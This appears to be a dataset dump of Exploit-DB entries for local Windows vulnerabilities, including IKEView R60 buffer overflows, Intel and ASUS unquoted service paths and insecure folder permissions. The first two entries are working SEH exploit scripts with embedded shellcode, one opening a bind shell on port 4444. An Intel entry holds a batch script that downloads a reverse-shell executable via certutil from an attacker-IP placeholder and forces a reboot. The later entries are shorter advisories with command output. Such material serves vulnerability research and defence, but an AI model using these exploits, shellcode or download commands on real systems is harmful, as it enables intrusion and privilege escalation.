deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38220
Description: IKEView R60 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2015-09-17
Author: VIKRAMADITYA

Exploit:
#!/usr/bin/python
# EXPLOIT TITLE: IKEView R60 Buffer overflow(SEH) Local Exploit
# AUTHOR: VIKRAMADITYA "-OPTIMUS"
# Credits: hyp3rlinx
# Date of Testing: 17th September 2015
# Download Link : https://www.exploit-db.com/apps/e74a3dcf9bd8a2dd05026532fbf9bb36-IKEView.exe
# Tested On : Windows XP Service Pack 2
# Steps to Exploit
# Step 1: Execute this python script
# Step 2: This script will create a file called key.elg 
# Step 3: Open this file with IKEView.exe
# That should open a bind tcp port at 4444
# Step 4: Connect with netcat at port 4444

file = open('key.elg'  , 'w');

# bad characters  - \x09\x0a\x00\x0a\x0b\x0c\x0d\x0e\x0f\x20
buffer = "A"*4424 + "\xEB\x18\x90\x90" + "\xc0\x28\x40\x00" + "\x90" * 30

# msfvenom -p windows/shell_bind_tcp -b '\x09\x0a\x00\x0a\x0b\x0c\x0d\x0e\x0f\x20'  -f c

buffer += ("\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa3\x9f"
"\x17\x99\x83\xeb\xfc\xe2\xf4\x5f\x77\x95\x99\xa3\x9f\x77\x10"
"\x46\xae\xd7\xfd\x28\xcf\x27\x12\xf1\x93\x9c\xcb\xb7\x14\x65"
"\xb1\xac\x28\x5d\xbf\x92\x60\xbb\xa5\xc2\xe3\x15\xb5\x83\x5e"
"\xd8\x94\xa2\x58\xf5\x6b\xf1\xc8\x9c\xcb\xb3\x14\x5d\xa5\x28"
"\xd3\x06\xe1\x40\xd7\x16\x48\xf2\x14\x4e\xb9\xa2\x4c\x9c\xd0"
"\xbb\x7c\x2d\xd0\x28\xab\x9c\x98\x75\xae\xe8\x35\x62\x50\x1a"
"\x98\x64\xa7\xf7\xec\x55\x9c\x6a\x61\x98\xe2\x33\xec\x47\xc7"
"\x9c\xc1\x87\x9e\xc4\xff\x28\x93\x5c\x12\xfb\x83\x16\x4a\x28"
"\x9b\x9c\x98\x73\x16\x53\xbd\x87\xc4\x4c\xf8\xfa\xc5\x46\x66"
"\x43\xc0\x48\xc3\x28\x8d\xfc\x14\xfe\xf7\x24\xab\xa3\x9f\x7f"
"\xee\xd0\xad\x48\xcd\xcb\xd3\x60\xbf\xa4\x60\xc2\x21\x33\x9e"
"\x17\x99\x8a\x5b\x43\xc9\xcb\xb6\x97\xf2\xa3\x60\xc2\xf3\xab"
"\xc6\x47\x7b\x5e\xdf\x47\xd9\xf3\xf7\xfd\x96\x7c\x7f\xe8\x4c"
"\x34\xf7\x15\x99\xb2\xc3\x9e\x7f\xc9\x8f\x41\xce\xcb\x5d\xcc"
"\xae\xc4\x60\xc2\xce\xcb\x28\xfe\xa1\x5c\x60\xc2\xce\xcb\xeb"
"\xfb\xa2\x42\x60\xc2\xce\x34\xf7\x62\xf7\xee\xfe\xe8\x4c\xcb"
"\xfc\x7a\xfd\xa3\x16\xf4\xce\xf4\xc8\x26\x6f\xc9\x8d\x4e\xcf"
"\x41\x62\x71\x5e\xe7\xbb\x2b\x98\xa2\x12\x53\xbd\xb3\x59\x17"
"\xdd\xf7\xcf\x41\xcf\xf5\xd9\x41\xd7\xf5\xc9\x44\xcf\xcb\xe6"
"\xdb\xa6\x25\x60\xc2\x10\x43\xd1\x41\xdf\x5c\xaf\x7f\x91\x24"
"\x82\x77\x66\x76\x24\xe7\x2c\x01\xc9\x7f\x3f\x36\x22\x8a\x66"
"\x76\xa3\x11\xe5\xa9\x1f\xec\x79\xd6\x9a\xac\xde\xb0\xed\x78"
"\xf3\xa3\xcc\xe8\x4c")
file.write(buffer)
file.close()
Exploit-DB #38218
Description: IKEView.exe R60 - '.elg' Local (SEH)
Type: local
Platform: windows
Date: 2015-09-17
Author: cor3sm4sh3r

Exploit:
# Exploit Title: IKEView.exe R60 localSEH Exploit
# Date: 17/09/2015
# Exploit Author: cor3sm4sh3r
# Author email: cor3sm4sh3r[at]gmail.com
# Contact: https://in.linkedin.com/pub/shravan-kumar-ceh-oscp/103/414/450
# Category: Local

#[+] Gr337z: hyp3rlinx for finding the bug
#[+] Source:
#http://hyp3rlinx.altervista.org/advisories/AS-IKEVIEWR60-0914.txt
# exploit as been tested on win XP professional sp2 
 
 
 
#Vendor:
#================================
#www.checkpoint.com
#http://pingtool.org/downloads/IKEView.exe


#!/usr/bin/env python
file="IKEView.elg"
x=open(file,"w")
nseh = "\x90\x90\xeb\x32" #short jump
seh = "\xc0\x28\x40\x00" #pop pop ret
nopsled = "\x90"*50
#badchars += "\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

buf  = "\x33\xc0"             #=> XOR EAX,EAX          |  Zero out EAX register
buf += "\x50"                 #=> PUSH EAX             |  Push EAX to have null-byte padding for "calc.exe"
buf += "\x68\x2E\x65\x78\x65" #=> PUSH ".exe"          |  Push The ASCII string to the stack
buf += "\x68\x63\x61\x6C\x63" #=> PUSH "calc"          |
buf += "\x8B\xC4"             #=> MOV EAX,ESP          |  Put a pointer to the ASCII string in EAX
buf += "\x6A\x01"             #=> PUSH 1               |  Push uCmdShow parameter to the stack
buf += "\x50"                 #=> PUSH EAX             |  Push the pointer to lpCmdLine to the stack
buf += "\xBB\x4d\x11\x86\x7C" #=> MOV EBX,7C86114d     |  Move the pointer to WinExec() into EBX
buf += "\xFF\xD3"             #=> CALL EBX    
buf += "\x33\xc0"             #=> XOR EAX,EAX          |  Zero out EAX register
buf += "\x50"                 #=> PUSH EAX             |  Push EAX
buf += "\xBB\xa2\xca\x81\x7c" #=> MOV EBX,7C81caa2     |  Exit process
buf += "\xFF\xD3"             #=> CALL EBX
junk = "A"*(4424)
payload = junk + nseh + seh + nopsled + buf
x.write(payload)
x.close()
Exploit-DB #51682
Description: Inosoft VisiWin 7 2022-2.1 - Insecure Folders Permissions
Type: local
Platform: windows
Date: 2023-08-21
Author: shinnai

Exploit:
# Exploit Title: Inosoft VisiWin 7 2022-2.1 - Insecure Folders Permissions 
Privilege Escalation
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://www.inosoft.com/
# Version: Up to 2022-2.1 (Runtime RT7.3 RC3 20221209.5)
# Tested on: Windows
# CVE: CVE-2023-31468

Inosoft VisiWin is a completely open system with a configurable range of 
functions. It combines all features of classic HMI software with 
unlimited programming possibilities.
The installation of the solution will create insecure folder, and this 
could allow a malicious user to manipulate file content or change 
legitimate files (e.g., VisiWin7.Server.Manager.exe which runs with 
SYSTEM privileges) to compromise a system or to gain elevated 
privileges.

This is the list of insecure files and folders with their respective 
permissions:

C:\>icacls "C:\Program Files (x86)\INOSOFT GmbH"
C:\Program Files (x86)\INOSOFT GmbH BUILTIN\Administrators:(OI)(CI)(F)
                                     Everyone:(OI)(CI)(F)
                                     NT AUTHORITY\SYSTEM:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>

--------------------------------------------------------------------------------------------------------------------------------------------------------

C:\>icacls "C:\Program Files (x86)\INOSOFT GmbH\VisiWin7\Runtime\VisiWin7.Server.Manager.exe"
C:\Program Files (x86)\INOSOFT GmbH\VisiWin 7\Runtime\VisiWin7.Server.Manager.exe BUILTIN\Administrators:(I)(F)
                                                                          
          Everyone:(I)(F)
                                                                          
          NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>
Exploit-DB #48795
Description: Input Director 1.4.3 - 'Input Director' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-09-09
Author: TOUHAMI Kasbaoui

Exploit:
# Exploit Title: Input Director 1.4.3 - 'Input Director' Unquoted Service Path
# Discovery Date: 2020-09-08
# Response from Input Director Support: 09/09/2020
# Exploit Author: TOUHAMI Kasbaoui
# Vendor Homepage: https://www.inputdirector.com/
# Version: 1.4.3
# Tested on: Windows Server 2012, Windows 10

# Find the Unquoted Service Path Vulnerability:

C:\wmic service get name,displayname,pathname,startmode | findstr /i "auto"
| findstr /i /v "c:\windows\\" | findstr /i /v """

Input Director Service  InputDirector  C:\Program Files
(x86)\InputDirector\IDWinService.exe Auto

# Service info:

C:\sc qc IDWinService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: InputDirector
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Input
Director\IDWinService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Input Director Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit:

A successful attempt to exploit this vulnerability could allow executing
code during startup or reboot with the elevated privileges.
Exploit-DB #40522
Description: InsOnSrv Asus InstantOn 2.3.1.1 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-13
Author: Cyril Vallicari

Exploit:
# Exploit Title:   InsOnSrv Asus InstantOn- Privilege Escalation Unquoted Service Path vulnerability
# Date: 13/10/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: www.asus.com
# Version:  2.3.1.1
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)
 
The application suffers from an unquoted service path issue impacting the service 'ASUS InstantOn (InsOnSrv.exe)' deployed as part of Asus InstantOn
This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.
 
POC :
 
 
C:\Users\Utilisateur>sc qc "ASUS InstantOn"
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ASUS InstantOn
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\ASUS InstantOn\InsOnSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ASUS InstantOn Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Additional notes :

https://hackerone.com/blog/asus-vulnerability-disclosure-deja-vu
Exploit-DB #40072
Description: InstantHMI 6.1 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-07-08
Author: sh4d0wman

Exploit:
Title: InstantHMI - EoP: User to ADMIN
CWE Class: CWE-276: Incorrect Default Permissions
Date: 01/06/2016
Vendor: Software Horizons
Product: InstantHMI
Version: 6.1 
Download link: http://www.instanthmi.com/ihmisoftware.htm
Tested on: Windows 7 x86, fully patched
Release mode: no bugbounty program, public release

Installer Name: IHMI61-PCInstall-Unicode.exe
MD5: ee3ca3181c51387d89de19e89aea0b31
SHA1: c3f1929093a3bc28f4f8fdd9cb38b1455d7f0d6f

- 1. Introduction: -
During a standard installation (default option) the installer 
automatically creates a folder named "IHMI-6" in the root drive. 
No other location can be specified during standard installation.

As this folder receives default permissions AUTHENTICATED USERS 
are given the WRITE permission. 

Because of this they can replace binaries or plant malicious 
DLLs to obtain elevated, administrative level, privileges.

- 2. Technical Details/PoC: -
A. Obtain and execute the installer. 

B. Observe there is no prompt for the installation location.

C. Review permissions under the Explorer Security tab or run icacls.exe

Example:

IHMI-6 BUILTIN\Administrators:(I)(F)
       BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
       NT AUTHORITY\SYSTEM:(I)(F)
       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
       BUILTIN\Users:(I)(OI)(CI)(RX)
       NT AUTHORITY\Authenticated Users:(I)(M)
       NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files

D. Change the main executable: InstantHMI.exe with a malicious copy. 

E. Once executed by an administrator our code will run 
under administrator level privileges.

- 3. Mitigation: -
A. Install under "c:\program files" or "C:\Program Files (x86)"

B. set appropriate permissions on the application folder.

- 4. Author: -
sh4d0wman
Exploit-DB #49929
Description: Intel(R) Audio Service x64 01.00.1080.0 - 'IntelAudioService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-02
Author: Geovanni Ruiz

Exploit:
# Exploit Title: Intel(R) Audio Service x64 01.00.1080.0 - 'IntelAudioService' Unquoted Service Path
# Date: 06-01-2021
# Exploit Author: Geovanni Ruiz
# Vendor Homepage: https://www.intel.com
# Software Version: 01.00.1080.0
# File Version: 1.00.1080.0
# Tested on: Microsoft® Windows 10 Home Single Language 10.0.19042 x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%IntelAudioService%"' get name, displayname, pathname, startmode, startname

DisplayName             Name               PathName                                                               StartMode  StartName
Intel(R) Audio Service  IntelAudioService  C:\WINDOWS\system32\cAVS\Intel(R) Audio Service\IntelAudioService.exe  Auto       LocalSystem


# 2. To check service info:

C:\>sc qc "IntelAudioService"
[SC] QueryServiceConfig CORRECTO
		
NOMBRE_SERVICIO: IntelAudioService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\WINDOWS\system32\cAVS\Intel(R) Audio Service\IntelAudioService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Intel(R) Audio Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit:

To exploit this vulnerability an attacker requires drop a malicious executable into the service path undetected by the OS in order
to gain SYSTEM privileges.
Exploit-DB #49144
Description: Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-01
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path
# Date: 2020-08-28
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.intel.com/
# Version: v5.2
# Tested on: Windows 7
# Source: https://www.totalpentest.com/post/intel-r-user-notification-service-unquoted-service-path-privilege-escalation

@ECHO OFF
ECHO
=======================================================================================================================
ECHO INTEL(R) MANAGEMENT AND SECURITY APPLICATION USER NOTIFICATION SERVICE 5.2 - Unquoted Service Path Privilege Escalation
ECHO
=======================================================================================================================
ECHO [+] executing command: "wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
sc qc UNS
ECHO [+] Your mandoroty level is:
whoami /groups | findstr /B /C:"Mandatory Label"
::Create Privacy.exe with following commands on your kali and serve it on port 80. Also listen port 443 with netcat for reverse shell.
::msfvenom -p windows/shell/reverse_tcp LHOST=<Your IP Address> LPORT=443 -f exe > Privacy.exe
ECHO [?]
ECHO [+] Enumeration was completed successfully.
ECHO [?] If you create Privacy.exe under Intel directory with your privileges, you might be able to get SYSTEM reverse shell after windows was rebooted.
PAUSE
certutil -urlcache -split -f http://<YOUR_IP_ADDRESS>/Privacy.exe "C:\Program Files (x86)\Common Files\Intel\Privacy.exe"
IF EXIST "C:\Program Files (x86)\Common Files\Intel\Privacy.exe" (
  ECHO [+] The download was successful.
) ELSE (
  ECHO [-] The download was unsuccessful.
  PAUSE
)
ECHO [!] If you continue, system will reboot.
PAUSE
shutdown /r /t 0
::code end

#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
Exploit-DB #50762
Description: Intel(R) Management Engine Components 6.0.0.1189 - 'LMS' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-18
Author: SamAlucard

Exploit:
#Exploit Title: Intel(R) Management Engine Components 6.0.0.1189 - 'LMS' Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2022-02-17
#Vendor :  Intel
#Version : Intel(R) Management Engine Components 6.0.0.1189
#Vendor Homepage : https://www.intel.com
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\>sc qc LMS
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LMS
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Intel\Intel(R)
Management Engine Components\LMS\LMS.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Intel(R) Management and Security Application
Local Management Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #40579
Description: Intel(R) Management Engine Components 8.0.1.1399 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-19
Author: Joey Lane

Exploit:
# Exploit Title: Intel(R) Management Engine Components - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 8.0.1.1399
# Tested on: Windows 7 Professional

The Intel(R) Management and Security Application Local Management Service (LMS) is installed with an unquoted service path.  
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 8.0.1.1399, but other versions may be affected
as well.


---------------------------------------------------------------------------

C:\>sc qc LMS

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: LMS

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START  (DELAYED)

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intel(R) Management and Security Application Local Management Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
Exploit-DB #49350
Description: Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-01-05
Author: Geovanni Ruiz

Exploit:
# Exploit Title: Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path
# Date: 2021-01-04
# Exploit Author: Geovanni Ruiz
# Vendor Homepage: https://www.intel.com
# Software Version: 8.0.0.1039
# File Version: 8.0.0.1039
# Tested on: Microsoft® Windows Vista Business 6.0.6001 Service Pack 1 x64es

# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%IAANTMON%"' get name, displayname,
pathname, startmode, startname

DisplayName                             Name    PathName
                                              StartMode  StartName
Intel(R) Matrix Storage Event Monitor  IAANTMON C:\Program Files
(x86)\Intel\Intel Matrix Storage Manager\IAANTMon.exe   Auto
LocalSystem

# 2. To check service info:

C:\>sc qc "IAANTMON"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: IAANTMON
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Intel\Intel Matrix
Storage Manager\IAANTMon.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Intel(R) Matrix Storage Event Monitor
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit:

To exploit this vulnerability an attacker requires to drop a malicious
executable into the service path undetected by the OS in order
to gain SYSTEM privileges.
Exploit-DB #40583
Description: Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed 15.1.0.0096 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-19
Author: Joey Lane

Exploit:
# Exploit Title: Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 15.1.0.0096
# Tested on: Windows 7 Professional

The Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed service is installed with an unquoted service path.  
This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
This was tested on version 15.1.0.0096, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc AMPPALR3

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: AMPPALR3

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START  (DELAYED)

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Intel\BluetoothHS\BTHSAmpPalService.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intelr Centrinor Wireless Bluetoothr + High Speed Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.